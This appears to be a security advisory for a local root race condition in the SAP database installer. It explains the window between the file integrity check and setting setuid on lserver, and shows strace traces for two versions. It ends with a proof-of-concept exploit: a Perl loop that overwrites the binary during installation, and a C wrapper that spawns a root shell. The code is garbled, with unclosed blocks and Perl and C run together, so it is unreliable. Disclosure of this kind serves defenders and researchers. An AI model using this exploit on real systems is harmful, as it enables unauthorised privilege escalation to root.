Title:SAP Database Local Root Vulnerability During Installation
Installation of the SAP database is done by the binary SDBINST. This first uncompresses the files, changes permissions and then runs a file integrity check. Once this check is completed setuid bits are added to two files. A large gap between this check and the setuid operation exists (a few seconds at i least). This gives us ample time to change the contents of the pre-setuid file.

For the production version:

Before the setuid root bit is set, a log file is written to that a normal non-privilidged user can read. This file was located in /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/. We simply watch that file for what is written to it just before the call to chmod and copy our malicious code over the target binary.

Below is a partial analysis of SDBINST.

chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0



open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a8$O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 fcntl64(0x3, 0x2, 0x1, 0x401a6ce0) = 0 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000
write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096 write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096


chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0

For the Beta version:

All of the files are checked for data integrity before the setuid bit is set, the installation no longer writes to a log file during this operation. It appears that just before the setuid bit is set a directory is created /opt/sapdb/depend/wrk. It proved more difficult to win the race using this directory creation as an indicator to copy our file over. I was able to win the race with a timed copy after the last file had been written from the archive and just before the integrity check had finished.

Below is an analysis of the installation program SDBRUN.

chmod("/opt/sapdb/depend/pgm/lserver", 0777) = 0

20224 stat64("/opt/sapdb/depend/wrk", 0x8150c20) = -1 ENOENT (No such file or directory) 
20224 stat64("/opt/sapdb/depend", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
20224 mkdir("/opt/sapdb/depend/wrk", 0775) = 0 20224 chmod("/opt/sapdb/depend/wrk", 0775) = 0 
20224 stat64("/opt/sapdb/depend/wrk", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 
20224 chown32(0x872b640, 0x5456, 0x5456) = 0 20224 chown32(0x88c3f88, 0, 0x5456) = 0 
20224 chmod("/opt/sapdb/depend/pgm/dbmsrv", 04775) = 0 20224 chown32(0x88c4870, 0, 0x5456) = 0 
20224 chmod("/opt/sapdb/depend/pgm/lserver", 04775) = 0

Local attackers can exploit this vulnerability to gain root access on a targeted system. The attacker would have needed previous knowledge of the system administrators SAP installation. To exploit the 7.4 beta version of this software an attacker would need to have a good idea of the target systems hardware type and speed.#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
       system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");

/*##Larry W. Cashdollar, lwc@vapid.dhs.org 
##This is just a wrapper to boost our privs from euid(0) to uid(0) guid(0) */

#include <stdio.h>
#include <unistd.h>

main (void)
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n"); else

      printf ("Ack, We lost the race.\n");
      _exit (0);
setregid (0, 0);
execve ("/bin/sh", shell, NULL);